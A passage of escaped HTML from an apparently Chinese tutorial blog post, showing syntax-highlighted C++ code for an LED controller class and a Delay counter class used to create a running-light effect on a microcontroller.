class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003esetCompares\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e[])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecustomAssert\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003egetArrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003e__size__\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eComparison\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eEqual\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eled\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eled\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003etoggleLeds\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e[])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecustomAssert\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003egetArrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003e__size__\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eComparison\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eEqual\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eled\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eled\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etoggle\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompares\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003esetTasks\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003etasks\u003c/span\u003e\u003cspan class=\"p\"\u003e[])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecustomAssert\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003egetArrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etasks\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003e__size__\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eComparison\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eEqual\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eled\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eled\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esetTask\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etasks\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eexecTasks\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"nl\"\u003eled\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__leds__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eled\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eexecTask\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"延时执行类-delay\"\u003e延时执行类 Delay\u003c/h2\u003e\n\u003cp\u003e为了实现 流水 效果, 需要延时(每隔几次运行一次)来执行\u003c/p\u003e\n\u003cp\u003ehpp\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eDelay\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003edelayTimes\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003efirst\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e~\u003c/span\u003e\u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003ectn\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"nf\"\u003eexceed\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e__delay_times__\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e__crt_times__\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003ecpp\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003edelayTimes\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003e__delay_times__\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edelayTimes\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003e__crt_times__\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edelayTimes\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"o\"\u003e::~\u003c/span\u003e\u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__delay_times__\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__crt_times__\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003ectn\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__crt_times__\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003eDelay\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eexceed\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e__crt_times__\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"n\"\u003e__delay_times__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ereset\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan 